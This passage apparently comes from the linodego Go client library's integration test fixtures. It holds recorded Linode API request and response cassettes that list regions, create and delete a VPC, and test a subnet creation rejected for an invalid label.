X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74455 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestVPC_Subnet_Create_Invalid_data.yaml000066400000000000000000000624601474652371000341330ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1720728779093241000","region":"us-iad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74458, "label": "go-test-vpc-1720728779093241000", "description": "", "region": "us-iad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-vpc-test_invalid_label1720728779586668000","ipv4":"192.168.0.0/25"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74458/subnets method: POST response: body: '{"errors": [{"reason": "Label must include only ASCII letters, numbers, and dashes", "field": "label"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "104" Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:59 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - vpc:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74458 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVPC_Subnet_List.yaml000066400000000000000000000641251474652371000312630ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium 